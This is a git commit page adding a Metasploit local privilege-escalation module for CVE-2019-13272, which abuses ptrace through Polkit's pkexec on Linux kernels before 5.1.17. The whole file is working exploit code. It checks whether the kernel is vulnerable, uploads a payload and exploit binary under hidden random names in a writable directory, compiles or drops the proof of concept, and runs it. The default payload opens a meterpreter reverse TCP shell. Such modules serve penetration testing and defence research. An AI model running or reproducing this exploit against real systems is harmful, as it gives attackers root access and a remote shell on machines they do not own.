Rooting: pkexec-POLKIT
This commit is contained in:
parent
4d048eaf77
commit
b72f9ac891
133
rooting/polkit-pkexec.rb
Normal file
133
rooting/polkit-pkexec.rb
Normal file
@ -0,0 +1,133 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Compile
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
|
||||
'Description' => %q{
|
||||
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
|
||||
kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
|
||||
not over an SSH session, as it requires execution from within the context of
|
||||
a user with an active Polkit agent.
|
||||
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
|
||||
the recording of the credentials of a process that wants to create a ptrace
|
||||
relationship, which allows local users to obtain root access by leveraging
|
||||
certain scenarios with a parent-child process relationship, where a parent drops
|
||||
privileges and calls execve (potentially allowing control by an attacker). One
|
||||
contributing factor is an object lifetime issue (which can also cause a panic).
|
||||
Another contributing factor is incorrect marking of a ptrace relationship as
|
||||
privileged, which is exploitable through (for example) Polkit's pkexec helper
|
||||
with PTRACE_TRACEME.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jann Horn', # Discovery and exploit
|
||||
'bcoles', # Metasploit module
|
||||
'timwr', # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-13272'],
|
||||
['EDB', '47133'],
|
||||
['PACKETSTORM', '153663'],
|
||||
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
|
||||
],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true,
|
||||
},
|
||||
'DisclosureDate' => 'Jul 4 2019'))
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
# Introduced in 4.10, but also backported
|
||||
# Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
|
||||
release = kernel_release
|
||||
v = Gem::Version.new release.split('-').first
|
||||
|
||||
if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
|
||||
vprint_error "Kernel version #{release} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Kernel version #{release} appears to be vulnerable"
|
||||
|
||||
unless command_exists? 'pkexec'
|
||||
vprint_error 'pkexec is not installed'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'pkexec is installed'
|
||||
|
||||
arch = kernel_hardware
|
||||
unless arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
|
||||
if loginctl_output =~ /Remote=yes/
|
||||
print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root? && !datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
unless writable? datastore['WritableDir']
|
||||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||
end
|
||||
|
||||
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
|
||||
upload_and_chmodx(payload_file, generate_payload_exe)
|
||||
register_file_for_cleanup(payload_file)
|
||||
|
||||
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
|
||||
end
|
||||
register_file_for_cleanup(exploit_file)
|
||||
|
||||
print_status("Executing exploit '#{exploit_file}'")
|
||||
result = cmd_exec("echo #{payload_file} | #{exploit_file}")
|
||||
print_status("Exploit result:\n#{result}")
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user